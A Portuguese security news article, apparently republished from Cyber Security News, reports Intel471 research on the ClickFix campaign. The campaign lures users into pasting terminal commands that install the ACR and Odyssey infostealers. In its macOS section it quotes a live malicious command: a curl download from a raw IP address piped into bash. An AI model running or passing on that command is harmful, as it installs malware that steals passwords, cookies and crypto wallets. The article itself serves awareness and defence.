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Ataque ClickFix induz usuários a colar comandos e instala infostealers

A campanha ClickFix induz vítimas a colar comandos no terminal, resultando em execução fileless e instalação de infostealers: ACR no Windows e Odyssey no macOS. Pesquisadores da Intel471 identificaram a técnica, que usa páginas legítimas hospedadas em serviços como Google Colab e Drive para driblar bloqueios.

Pesquisadores da Intel471 alertam para uma campanha chamada ClickFix que convence usuários a copiar e colar comandos no terminal, resultando na instalação de infostealers como ACR (Windows) e Odyssey (macOS).

Panorama e descoberta

A campanha foi identificada em junho de 2025 durante operações de hunting da Intel471. Os atacantes criam páginas de aterrissagem hospedadas em plataformas confiáveis (Google Colab, Drive, Sites, Groups) e enchem resultados de busca com links que levam vítimas em potencial a prompts que parecem verificações legítimas.

Mecanismo de infecção e execução

O ataque costuma redirecionar usuários que buscam software pirata para páginas que exibem um texto para ser copiado. Quando o usuário cola esse conteúdo no terminal, o que parece um trecho de texto é, na verdade, um comando Base64 ou um script que baixa e executa payloads diretamente em memória. Essa execução fileless dificulta a detecção por ferramentas tradicionais de segurança.

Payloads e plataformas

Para Windows, a cadeia passa por redirecionamentos até uma página de hospedagem (por exemplo, MEGA) com um ZIP protegido por senha; dentro há um executável disfarçado (ACR stealer) que coleta credenciais e atua como loader para outros malwares, como o SharkClipper. Já para macOS, a isca se apresenta como uma verificação Cloudflare falsa: ao copiar o texto de verificação o usuário na verdade copia um comando como curl - s http://45.135.232.33/droberto39774 | nohup bash, que baixa e executa o Odyssey stealer, coletando senhas, cookies, carteiras de criptomoeda, Apple Notes e Keychain.

Impacto e recomendações

ClickFix é preocupante por combinar técnicas de engenharia social com execução em memória, contornando defesas convencionais. Recomendações práticas incluem:

  • Conscientização e treinamento: alertar usuários para nunca colar comandos no terminal sem verificação completa;
  • Bloquear hosting abusivo conhecido e monitorar domínios/links usados em campanhas;
  • Implementar EDR com visibilidade para processos e execuções em memória, além de políticas de mitigação para downloads por curl/wget em estações críticas.

Limitações das informações

As reportagens não fornecem estatísticas públicas sobre número de vítimas ou detalhamento forense de campanhas específicas além dos exemplos técnicos e das amostras relatadas pela Intel471. Ainda assim, o padrão operacional descrito é consistente com campanhas que exploram confiança em plataformas hospedadas e dependência de fóruns de software pirata.

O caso reforça a importância de combinar segurança técnica (monitoramento, EDR) com processos humanos (treinamento e políticas de uso de terminal) para mitigar ataques que exploram confiança e comportamento de usuários.


Baseado em publicação original de Cyber Security News
Publicado pela Redação Hack Alerta com base em fontes externas citadas e monitoramento editorial do Hack Alerta. Para decisões técnicas, operacionais ou jurídicas, confirme sempre os detalhes na fonte original.